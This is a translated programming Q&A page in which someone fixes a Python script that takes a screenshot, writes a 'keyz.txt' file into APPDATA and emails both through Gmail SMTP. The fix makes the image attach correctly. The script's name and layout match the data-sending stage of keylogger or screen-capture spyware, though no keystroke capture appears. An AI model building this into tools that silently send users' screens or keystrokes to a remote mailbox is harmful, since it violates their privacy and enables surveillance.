python - Python 无法正确将屏幕截图发送到电子邮件
问题描述
我有这个担心。此 python 代码应该发送 2 个文件,一个是文本文件和屏幕截图。它将文本文件正确发送到我的电子邮件,但它没有将与其关联的正确图像发送到我的电子邮件,而是将其作为缓冲图像而不是正确图像发送到我的电子邮件。
我的代码看起来有点像这样
import os
import pyautogui
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
def CaptureKeysAndScreenShtAndSendToEmail():
pic= pyautogui.screenshot()
pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')
path = os.getenv('APPDATA')
file = path + "\\" + 'keyz.txt'
with open(file,'w') as f:
data = 'Hello Jasmine!'
f.write(data)
fromAddr = "xxxxxx@gmail.com"
ToAddr = "xxxxxx@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromAddr
msg['To'] = ToAddr
msg['Subject'] = "Text File"
body = "Test mail _ Attachment"
msg.attach(MIMEText(body,'plain'))
filename = file
attachment = open(filename,"rb")
p = MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
picattach = open(picturePath, "rb")
x = MIMEBase('application','octet-stream')
x.set_payload((picattach).read())
encoders.encode_base64(x)
x.add_header('Content-Disposition', "attachment; filename= %s" % picattach)
msg.attach(x)
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login(fromAddr,"ssssss")
text = msg.as_string()
s.sendmail(fromAddr,ToAddr,text)
s.quit()
print('Done')
CaptureKeysAndScreenShtAndSendToEmail()
我认为有些东西我没有正确捕捉。
解决方案
唉,我解决了。它现在向电子邮件发送电子邮件和图片附件。一切都很好。很少的修改改变了一切
import os
import pyautogui
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
def CaptureKeysAndScreenShtAndSendToEmail():
pic= pyautogui.screenshot()
pic.save(os.getenv('APPDATA')+ "\\"+ 'screenshot.png')
path = os.getenv('APPDATA')
file = path + "\\" + 'keyz.txt'
with open(file,'w') as f:
data = 'Hello Jasmine!'
f.write(data)
fromAddr = "xxxxxx@gmail.com"
ToAddr = "xxxxxx@gmail.com"
msg = MIMEMultipart()
msg['From'] = fromAddr
msg['To'] = ToAddr
msg['Subject'] = "Text File"
body = "Test mail _ Attachment"
msg.attach(MIMEText(body,'plain'))
filename = file
attachment = open(filename,"rb")
p = MIMEBase('application','octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
picturePath = os.getenv('APPDATA')+ "\\"+ 'screenshot.png'
picattach = open(picturePath, "rb")
x = MIMEBase('image', 'png', filename='screenshot.png')
x.set_payload((picattach).read())
encoders.encode_base64(x)
x.add_header('Content-Disposition', "attachment; filename= %s" % picattach)
x.add_header('X-Attachment-Id', '0')
x.add_header('Content-ID', '<0>')
msg.attach(x)
s = smtplib.SMTP('smtp.gmail.com',587)
s.starttls()
s.login(fromAddr,"sssssss")
text = msg.as_string()
s.sendmail(fromAddr,ToAddr,text)
s.quit()
print('Done')
CaptureKeysAndScreenShtAndSendToEmail()
改变这个
x = MIMEBase('image', 'png', filename='screenshot.png')
并添加一些其他标题,因为这改变了所有。
标头
x.add_header('X-Attachment-Id', '0')
x.add_header('Content-ID', '<0>')
推荐阅读
- gradle - gradlew:如果 gradle 版本不一致会发生什么错误
- css - transform:rotate() 将视频强制置于所有元素之上
- python - Tkinter 的问题 - 继承问题
- java - 将 JNA 结构的集合传递给本地方法
- php - Laravel 服务器不断启动和关闭
- javascript - 使用角度导入excel文件并使用.net核心中的REST API将excel表数据转换为数组
- python - 模块 browserhistory 似乎不起作用并引发 KeyError
- java - 在 Apache 的 Lucene 中使用默认和自定义停用词(奇怪的输出)
- google-apps-script - 将 *.googleusercontent.com 添加到授权的 JavaScript 来源
- python - 无法正确格式化 API json 输出